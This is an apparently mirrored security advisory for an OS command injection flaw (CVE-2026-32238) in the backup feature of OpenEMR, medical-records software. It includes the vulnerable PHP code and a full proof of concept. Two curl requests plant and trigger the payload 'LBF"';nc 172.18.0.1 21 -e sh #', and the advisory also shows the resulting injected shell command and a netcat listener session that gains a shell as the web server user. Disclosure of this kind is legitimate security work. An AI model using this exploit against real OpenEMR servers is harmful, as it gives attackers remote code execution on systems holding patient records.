| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-32238 | 19 Mar 202619:30 | – | attackerkb | |
| CVE-2026-32238 | 19 Mar 202619:16 | – | circl | |
| OpenEMR 操作系统命令注入漏洞 | 19 Mar 202600:00 | – | cnnvd | |
| CVE-2026-32238 | 19 Mar 202619:30 | – | cve | |
| CVE-2026-32238 OpenEMR has Remote Code Execution in backup functionality | 19 Mar 202619:30 | – | cvelist | |
| EUVD-2026-13158 | 19 Mar 202619:30 | – | euvd | |
| CVE-2026-32238 | 19 Mar 202620:16 | – | nvd | |
| CVE-2026-32238 OpenEMR has Remote Code Execution in backup functionality | 19 Mar 202619:30 | – | osv | |
| 📄 OpenEMR 8.0.0.2 Remote Code Execution | 20 Apr 202600:00 | – | packetstorm | |
| PT-2026-26288 | 19 Mar 202600:00 | – | ptsecurity |
# CVE-2026-32238 - Remote Code Execution in OpenEMR <8.0.0.2
> Weakness CWE-78 : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
>> The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
### Summary
OpenEMR <8.0.0.1 contains multiples Command injection vulnerabilities in the backup functionality that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the backup functionality.
### Details
The vulnerability occurs in the backup functionality where multiples *ID* are SQL escaped in a SQL statement embedded within the OS command but not shell-escaped.
Those *ID* values are *trusted* after verifying that the user-supplied inputs exists in the database.
User can insert any value in those SQL *ID* columns concatenate to the shell command.
Summary: Certain shell commands concatenate user-supplied input without proper sanitization, which may lead to command injection vulnerabilities. This allows attackers to inject malicious OS shell commands.
The vulnerability affects the following lines:
- `interface/main/backup.php` [lines 775, 776, 784, 786, 788 and 789](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L775) vulnerabilities
- `interface/main/backup.php` [line 768](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L768), check value exists.
- `interface/main/backup.php` [line 763](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L763), check value do not contains *backtick*.
- `interface/main/backup.php` [line 761](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L761), loop for each values.
- `interface/main/backup.php` [line 742](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L742), get values from POST data.
- `interface/main/backup.php` [line 816, 818, 822, 824, 828, 831, 835 and 838](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L816) vulnerabilities
- `interface/main/backup.php` [line 807 and 808](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L807), check value exists.
- `interface/main/backup.php` [line 802](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L802), check value do not contains *backtick*.
- `interface/main/backup.php` [line 800](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L800), loop for each values from POST data.
To exploit those vulnerabilites the payload should be stored in: `list_options.option_id`, `list_options.list_id`, `layout_options.form_id` or `layout_group_properties.grp_form_id`.
```php
if (!empty($form_sel_lists)) {
foreach ($form_sel_lists as $listid) {
if (str_contains((string) $listid, '`')) {
continue;
}
$listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]);
if (empty($listid_check['list_id'])) {
continue;
}
if (IS_WINDOWS) {
$cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " .
"ORDER BY list_id != 'lists', seq, title\" " .
escapeshellarg((string) $sqlconf["dbase"]) . " list_options";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" .
add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
"echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" .
add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" .
$dumppfx . " --where='list_id = \"lists\" AND option_id = \"" .
add_escape_custom($listid) . "\" OR list_id = \"" .
add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " .
escapeshellarg((string) $sqlconf["dbase"]) . " list_options" .
" >> " . escapeshellarg($EXPORT_FILE) . ";";
}
}
}
if (is_array($_POST['form_sel_layouts'] ?? '')) {
$do_history_repair = false;
$do_demographics_repair = false;
foreach ($_POST['form_sel_layouts'] as $layoutid) {
if (str_contains((string) $layoutid, '`')) {
continue;
}
$layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]);
$layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]);
if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) {
continue;
}
if (IS_WINDOWS) {
$cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (IS_WINDOWS) {
$cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;";
} else {
$cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (IS_WINDOWS) {
$cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
$cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" ' .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & ";
} else {
$cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties";
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
$cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " .
escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ;
$cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";";
}
if (str_starts_with((string) $layoutid, 'HIS')) {
$do_history_repair = true;
}
if (str_starts_with((string) $layoutid, 'DEM')) {
$do_demographics_repair = true;
}
}
```
```sh
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "<injection>";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "<injection>";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "<injection>"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "<injection>" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
```
#### Permissions
```php
if (!AclMain::aclCheckCore('admin', 'super')) {
echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]);
exit;
}
```
### PoC
For this POC i use the `layout_group_properties.grp_form_id` column:
1. Insert the payload in `layout_group_properties.grp_form_id`
2. Call backup functionality using the same payload
```
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php'
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php'
┌──(kali㉿kali)-[~]
└─$
```
#### Database
```
MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties;
+--------------------------------+--------------+
| grp_form_id | grp_group_id |
+--------------------------------+--------------+
| DEM | |
| DEM | 1 |
| DEM | 2 |
| DEM | 3 |
| DEM | 4 |
| DEM | 5 |
| DEM | 6 |
| DEM | 8 |
| FACUSR | |
| FACUSR | 1 |
| HIS | |
| HIS | 1 |
| HIS | 2 |
| HIS | 3 |
| HIS | 4 |
| HIS | 5 |
| LBF"';nc 172.18.0.1 21 -e sh # | 11 |
| LBTbill | |
| LBTbill | 1 |
| LBTlegal | |
| LBTlegal | 1 |
| LBTphreq | |
| LBTphreq | 1 |
| LBTptreq | |
| LBTptreq | 1 |
| LBTref | |
| LBTref | 1 |
| LBTref | 2 |
+--------------------------------+--------------+
28 rows in set (0.003 sec)
MariaDB [openemr]>
```
#### Reverse shell payload
```sh
nc 172.18.0.1 21 -e sh
```
##### Injection
```
LBF"';nc 172.18.0.1 21 -e sh #
```
##### Final
```sh
echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql';
```
##### Tools
I don't know if netcat (`nc`) is required but it's installed by default in the docker container (it's very usefull for this exploit).
##### User and current directory
```
┌──(root㉿kali)-[/home/kali]
└─# nc -lvnp 21
listening on [any] 21 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041
whoami
apache
id
uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
pwd
/var/www/localhost/htdocs/openemr/interface/main
```
### Impact
- Server-side code execution
### Vulnerability Fix Process
1. Assess and validate the vulnerability
2. Request or assign a CVE ID
3. Create a private fork or private branch
4. Develop the fix
5. Write regression and security tests
6. Prepare release notes and security advisory draft
7. Publish the fix (code merge) and release a patched version
8. Publicly disclose the vulnerability
### Credits
- Researcher: Christophe SUBLET
- Organization: Grenoble INP - Esisar, UGA
- Project: CyberSkills, OrionData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation